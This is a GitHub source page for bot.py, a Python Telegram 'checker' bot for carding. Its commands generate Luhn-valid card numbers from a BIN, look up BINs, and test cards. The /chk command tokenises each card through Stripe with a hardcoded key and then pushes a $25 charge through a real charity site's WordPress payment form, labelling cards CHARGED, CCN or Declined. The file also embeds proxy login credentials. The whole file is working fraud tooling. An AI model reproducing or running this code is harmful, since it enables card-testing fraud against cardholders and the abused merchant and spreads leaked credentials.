-
Notifications
You must be signed in to change notification settings - Fork 4
/
bot.py
340 lines (295 loc) · 10.8 KB
/
bot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
import logging
import os
import requests
import time
import string
import random
import yaml
import asyncio
import re
from aiogram import Bot, Dispatcher, executor, types
from aiogram.utils.exceptions import Throttled
from aiogram.contrib.fsm_storage.memory import MemoryStorage
from bs4 import BeautifulSoup as bs
# Configure vars get from env or config.yml
CONFIG = yaml.load(open('config.yml', 'r'), Loader=yaml.SafeLoader)
TOKEN = os.getenv('TOKEN', CONFIG['token'])
BLACKLISTED = os.getenv('BLACKLISTED', CONFIG['blacklisted']).split()
PREFIX = os.getenv('PREFIX', CONFIG['prefix'])
OWNER = int(os.getenv('OWNER', CONFIG['owner']))
ANTISPAM = int(os.getenv('ANTISPAM', CONFIG['antispam']))
# Initialize bot and dispatcher
storage = MemoryStorage()
bot = Bot(token=TOKEN, parse_mode=types.ParseMode.HTML)
dp = Dispatcher(bot, storage=storage)
# Configure logging
logging.basicConfig(level=logging.INFO)
# BOT INFO
loop = asyncio.get_event_loop()
bot_info = loop.run_until_complete(bot.get_me())
BOT_USERNAME = bot_info.username
BOT_NAME = bot_info.first_name
BOT_ID = bot_info.id
# USE YOUR ROTATING PROXY API IN DICT FORMAT http://user:pass@providerhost:port
proxies = {
'http': 'http://lelmcbsw-rotate:[email protected]:80/',
'https': 'http://lelmcbsw-rotate:[email protected]:80/'
}
session = requests.Session()
# Random DATA
letters = string.ascii_lowercase
First = ''.join(random.choice(letters) for _ in range(6))
Last = ''.join(random.choice(letters) for _ in range(6))
PWD = ''.join(random.choice(letters) for _ in range(10))
Name = f'{First}+{Last}'
Email = f'{First}.{Last}@gmail.com'
UA = 'Mozilla/5.0 (X11; Linux i686; rv:102.0) Gecko/20100101 Firefox/102.0'
def gen(first_6: int, mm: int=None, yy: int=None, cvv: int=None):
BIN = 15-len(str(first_6))
card_no = [int(i) for i in str(first_6)] # To find the checksum digit on
card_num = [int(i) for i in str(first_6)] # Actual account number
seventh_15 = random.sample(range(BIN), BIN) # Acc no (9 digits)
for i in seventh_15:
card_no.append(i)
card_num.append(i)
for t in range(0, 15, 2):
# odd position digits
card_no[t] = card_no[t] * 2
for i in range(len(card_no)):
if card_no[i] > 9: # deduct 9 from numbers greater than 9
card_no[i] -= 9
s = sum(card_no)
mod = s % 10
check_sum = 0 if mod == 0 else (10 - mod)
card_num.append(check_sum)
card_num = [str(i) for i in card_num]
cc = ''.join(card_num)
if mm is None:
mm = random.randint(1, 12)
mm = f'0{mm}' if len(str(mm)) < 2 else mm
yy = random.randint(2023, 2028) if yy is None else yy
if cvv is None:
cvv = random.randint(000, 999)
cvv = 999 if len(str(cvv)) <= 2 else cvv
return f'{cc}|{mm}|{yy}|{cvv}'
async def is_owner(user_id):
return user_id == OWNER
@dp.message_handler(commands=['start', 'help'], commands_prefix=PREFIX)
async def helpstr(message: types.Message):
# await message.answer_chat_action('typing')
keyboard_markup = types.InlineKeyboardMarkup(row_width=3)
btns = types.InlineKeyboardButton("Bot Source", url="https://t.me/iam_daxx")
keyboard_markup.row(btns)
FIRST = message.from_user.first_name
MSG = f'''
𝙷𝙴𝙻𝙻𝙾 {FIRST}
𝙸𝙰𝙼 {BOT_NAME}
𝐂𝐌𝐃𝐒
/chk , /info , /bin
'''
await message.answer(MSG, reply_markup=keyboard_markup,
disable_web_page_preview=True)
@dp.message_handler(commands=['info', 'id'], commands_prefix=PREFIX)
async def info(message: types.Message):
if message.reply_to_message:
user_id = message.reply_to_message.from_user.id
is_bot = message.reply_to_message.from_user.is_bot
username = message.reply_to_message.from_user.username
first = message.reply_to_message.from_user.first_name
else:
user_id = message.from_user.id
is_bot = message.from_user.is_bot
username = message.from_user.username
first = message.from_user.first_name
await message.reply(f'''
═════════╕
<b>USER INFO</b>
<b>USER ID:</b> <code>{user_id}</code>
<b>USERNAME:</b> @{username}
<b>FIRSTNAME:</b> {first}
<b>BOT:</b> {is_bot}
<b>BOT-OWNER:</b> {await is_owner(user_id)}
╘═════════''')
@dp.message_handler(commands=['bin'], commands_prefix=PREFIX)
async def binio(message: types.Message):
await message.answer_chat_action('typing')
ID = message.from_user.id
FIRST = message.from_user.first_name
BIN = message.text[len('/bin '):]
if len(BIN) < 6:
return await message.reply(
'Send bin not ass'
)
r = requests.get(
f'https://bins.ws/search?bins={BIN[:6]}'
).text
soup = bs(r, features='html.parser')
k = soup.find("div", {"class": "page"})
INFO = f'''
{k.text[62:]}
SENDER: <a href="tg://user?id={ID}">{FIRST}</a>
BOT⇢ @{BOT_USERNAME}
OWNER⇢ <a href="tg://user?id={OWNER}">LINK</a>
'''
await message.reply(INFO)
@dp.message_handler(commands=['gen'], commands_prefix=PREFIX)
async def genrate(message: types.Message):
await message.answer_chat_action('typing')
ID = message.from_user.id
FIRST = message.from_user.first_name
if len(message.text) == 10:
return await message.reply("<b>Format:\n /gen 549184</b>")
try:
x = re.findall(r'\d+', message.text)
ccn = x[0]
mm = x[1]
yy = x[2]
cvv = x[3]
cards = gen(first_6=ccn, mm=mm, yy=yy, cvv=cvv)
except IndexError:
if len(x) == 1:
for _ in range(20):
cards = gen(first_6=ccn)
elif len(x) == 3:
cards = gen(first_6=ccn, mm=mm, yy=yy)
elif len(mm) == 3:
cards = gen(first_6=ccn, cvv=mm)
elif len(mm) == 4:
cards = gen(first_6=ccn, yy=mm)
else:
cards = gen(first_6=ccn, mm=mm)
await asyncio.sleep(3)
DATA = f'''
Genrated 1 card of <code>{ccn}</code>
<code>{cards}</code>
BY: <a href="tg://user?id={ID}">{FIRST}</a>
BOT⇢ @{BOT_USERNAME}
OWNER⇢ <a href="tg://user?id={OWNER}">LINK</a>
'''
await message.reply(DATA)
@dp.message_handler(commands=['chk'], commands_prefix=PREFIX)
async def ch(message: types.Message):
await message.answer_chat_action('typing')
tic = time.perf_counter()
ID = message.from_user.id
FIRST = message.from_user.first_name
try:
await dp.throttle('chk', rate=ANTISPAM)
except Throttled:
await message.reply('<b>Too many requests!</b>\n'
f'Blocked For {ANTISPAM} seconds')
else:
if message.reply_to_message:
cc = message.reply_to_message.text
else:
cc = message.text[len('/chk '):]
if len(cc) == 0:
return await message.reply("<b>No Card to chk</b>")
x = re.findall(r'\d+', cc)
ccn = x[0]
mm = x[1]
yy = x[2]
cvv = x[3]
if mm.startswith('2'):
mm, yy = yy, mm
if len(mm) >= 3:
mm, yy, cvv = yy, cvv, mm
if len(ccn) < 15 or len(ccn) > 16:
return await message.reply('<b>Failed to parse Card</b>\n'
'<b>Reason: Invalid Format!</b>')
BIN = ccn[:6]
if BIN in BLACKLISTED:
return await message.reply('<b>BLACKLISTED BIN</b>')
# get guid muid sid
headers = {
"user-agent": UA,
"accept": "application/json, text/plain, */*",
"content-type": "application/x-www-form-urlencoded"
}
# b = session.get('https://ip.seeip.org/', proxies=proxies).text
s = session.post('https://m.stripe.com/6', headers=headers)
r = s.json()
Guid = r['guid']
Muid = r['muid']
Sid = r['sid']
postdata = {
"guid": Guid,
"muid": Muid,
"sid": Sid,
"key": " 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 ",
"card[name]": Name,
"card[number]": ccn,
"card[exp_month]": mm,
"card[exp_year]": yy,
"card[cvc]": cvv
}
HEADER = {
"accept": "application/json",
"content-type": "application/x-www-form-urlencoded",
"user-agent": UA,
"origin": "https://js.stripe.com",
"referer": "https://js.stripe.com/",
"accept-language": "en-US,en;q=0.9"
}
pr = session.post('https://api.stripe.com/v1/tokens',
data=postdata, headers=HEADER)
Id = pr.json()['id']
# hmm
load = {
"action": "wp_full_stripe_payment_charge",
"formName": "BanquetPayment",
"fullstripe_name": Name,
"fullstripe_email": Email,
"fullstripe_custom_amount": "25.0",
"fullstripe_amount_index": 0,
"stripeToken": Id
}
header = {
"accept": "application/json, text/javascript, */*; q=0.01",
"content-type": "application/x-www-form-urlencoded; charset=UTF-8",
"user-agent": UA,
"origin": "https://archiro.org",
"referer": "https://archiro.org/banquet/",
"accept-language": "en-US,en;q=0.9"
}
rx = session.post('https://archiro.org/wp-admin/admin-ajax.php',
data=load, headers=header)
msg = rx.json()['msg']
toc = time.perf_counter()
if 'true' in rx.text:
return await message.reply(f'''
✅<b>CC</b>➟ <code>{ccn}|{mm}|{yy}|{cvv}</code>
<b>STATUS</b>➟ #CHARGED 25$
<b>MSG</b>➟ {msg}
<b>TOOK:</b> <code>{toc - tic:0.2f}</code>(s)
<b>CHKBY</b>➟ <a href="tg://user?id={ID}">{FIRST}</a>
<b>OWNER</b>: {await is_owner(ID)}
<b>BOT</b>: @{BOT_USERNAME}''')
if 'security code' in rx.text:
return await message.reply(f'''
✅<b>CC</b>➟ <code>{ccn}|{mm}|{yy}|{cvv}</code>
<b>STATUS</b>➟ #CCN
<b>MSG</b>➟ {msg}
<b>TOOK:</b> <code>{toc - tic:0.2f}</code>(s)
<b>CHKBY</b>➟ <a href="tg://user?id={ID}">{FIRST}</a>
<b>OWNER</b>: {await is_owner(ID)}
<b>BOT</b>: @{BOT_USERNAME}''')
if 'false' in rx.text:
return await message.reply(f'''
❌<b>CC</b>➟ <code>{ccn}|{mm}|{yy}|{cvv}</code>
<b>STATUS</b>➟ #Declined
<b>MSG</b>➟ {msg}
<b>TOOK:</b> <code>{toc - tic:0.2f}</code>(s)
<b>CHKBY</b>➟ <a href="tg://user?id={ID}">{FIRST}</a>
<b>OWNER</b>: {await is_owner(ID)}
<b>BOT</b>: @{BOT_USERNAME}''')
await message.reply(f'''
❌<b>CC</b>➟ <code>{ccn}|{mm}|{yy}|{cvv}</code>
<b>STATUS</b>➟ DEAD
<b>MSG</b>➟ {rx.text}
<b>TOOK:</b> <code>{toc - tic:0.2f}</code>(s)
<b>CHKBY</b>➟ <a href="tg://user?id={ID}">{FIRST}</a>
<b>OWNER</b>: {await is_owner(ID)}
<b>BOT</b>: @{BOT_USERNAME}''')
if __name__ == '__main__':
executor.start_polling(dp, skip_updates=True, loop=loop)